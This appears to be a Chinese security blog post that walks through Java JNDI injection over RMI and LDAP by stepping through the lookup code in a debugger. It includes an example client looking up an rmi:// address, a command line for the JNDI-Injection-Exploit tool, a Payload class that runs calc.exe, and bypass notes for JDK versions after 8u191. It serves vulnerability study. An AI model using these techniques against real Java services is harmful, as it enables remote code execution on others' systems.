JNDI注入分析

lookup过程

示例代码:

1
2
3
4
5
6
7
8
9
10
import javax.naming.Context;
import javax.naming.InitialContext;

public class Client {
public static void main(String[] args) {
String uri = "rmi://43.128.31.241:1099/bb53ou";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}

首先跟进 javax.naming.InitialContext#lookup中,其会调用 javax.naming.InitialContext#getURLOrDefaultInitCtx方法传入 name参数。

image-20210609141539873

判断语句中调用 javax.naming.spi.NamingManager#hasInitialContextFactoryBuilder方法,当 NamingManager类的 initctx_factory_builder属性不为null则返回true,反之为 falsegetURLScheme方法通过截取 :前的字符作为协议。

image-20210609142054231

javax.naming.spi.NamingManager#getURLContext 调用 getURLObject方法,传入的参数为

scheme(协议),null,null,null,environment(空Hashtable对象)

image-20210609142811562

进入getURLObject调用 com.sun.naming.internal.ResourceManager#getURLObject,传入参数:

“java.naming.factory.url.pkgs”

environment(空Hashtable对象)

null

“.rmi.rmiURLContextFactory, com.sun.jndi.url”

image-20210609142750066

因为 env 变量不存在 java.naming.factory.url.pkgs键,因此 facProp 变量为 defaultPkgPrefix。其值为 com.sun.jndi.url

image-20210609143545591

调用 com.sun.naming.internal.VersionHelper12#getContextClassLoader 获得类加载器。

image-20210609143929711

加载 com.sun.jndi.url.rmi.rmiURLContextFactory类返回实例对象。

image-20210609144408741

com.sun.jndi.url.rmi.rmiURLContextFactory#getObjectInstance,参数为:

null,null,null,environment(空Hashtable对象)

image-20210609145153920

rmiURLContext构造方法中荟调用父类构造方法并传入接收的参数

image-20210609145330290

rmiURLContext 继承自 GenericURLContext类,此处 return 回到 javax.naming.InitialContext#lookup

image-20210609145807110

rmiURLContext 不存在 lookup方法, 因此跟进父类 com.sun.jndi.toolkit.url.GenericURLContext#lookup

image-20210609150210941

getRootContext 中解析出 IP和端口 实例化 com.sun.jndi.rmi.registry.RegistryContext对象,返回 javax.naming.spi.ResolveResult 对象:

image-20210609153219978

调用 com.sun.jndi.rmi.registry.RegistryContext#lookup,传入查询的对象名

image-20210609165615614

lookup 中通过 sun.rmi.registry.RegistryImpl_Stub#lookup 获得 ReferenceWrapper 对象,接着调用 RegistryContext#decodeObject

image-20210609173119578

跟进 decodeObject 方法调用了 NamingManager.getObjectInstance,其传入的参数为 Reference 对象和 CompositeName对象(保存了查询的对象名称)。

image-20210609173841379

NamingManager#getObjectInstance 315行获取类名然后调用 NamingManager#getObjectFactoryFromReferencef变量是服务器返回的类名。

image-20210609174027507

146行会从本地classpath加载这个类,如果类不存在触发ClassNotFound异常会走到158行处通过codebase远程加载类。而codebase是 Reference对象中指定的 factory,获取类的Class后调用 newInstance方法获取实例对象。

image-20210610112938952

如果远程加载的类静态代码块中存在恶意代码的话则可以造成RCE。

image-20210610113259677

堆栈信息:

1
2
3
4
5
6
7
getObjectFactoryFromReference:160, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:12, Client (org.vulhub.jndi)

< JDK8u191

< JDK8u121 可以通过RMI远程加载恶意类,使用JNDI-Inject-Exploit 开启服务:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “calc.exe” -A “ip”

image-20210610121613913

> JDK8u121 < JDK8u191 则可以使用LDAP进行远程恶意类加载

image-20210610121738306

> JDK8u191

JDK8u191以后的版本RMI和LDAP的useCodebaseOnly默认为false,即无法通过远程加载类,这样一来JNDI注入到方式就变得十分局限。

前面在debug时能够发现在 NamingManager#getObjectFactoryFromReference 加载类时会先通过本地classpath加载,当本地classpath不存在类时才会从codebase加载类。而 > JDK8u191的利用思路则是通过本地classpath中的类寻找可利用的 getObjectInstance方法(这个类必须实现ObjectFactory接口)。

举个例子,我们本地编写一个 Payload类实现 javax.naming.spi.ObjectFactory 接口,并在 getObjectInstance 方法中执行 calc.exe命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package org.vulhub.jndi;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Payload implements ObjectFactory {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}

public static void main(String[] args) {
System.out.println(1);
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}

加载本地的类返回实例对象:

image-20210610153924242

然后回到 javax.naming.spi.NamingManager#getObjectInstance 会调用该对象的 getObjectInstance方法。

image-20210610154319567

触发RCE

image-20210610154340812

Veracode的博客中使用了org.apache.naming.factory.BeanFactory类,环境依赖Tomcat 8+或Spring 1.2.x。具体的攻击方法已有项目实现:https://github.com/welk1n/JNDI-Injection-Bypass

参考

浅析JNDI注入Bypass - Welk1n - 博客园

JAVA JNDI注入知识详解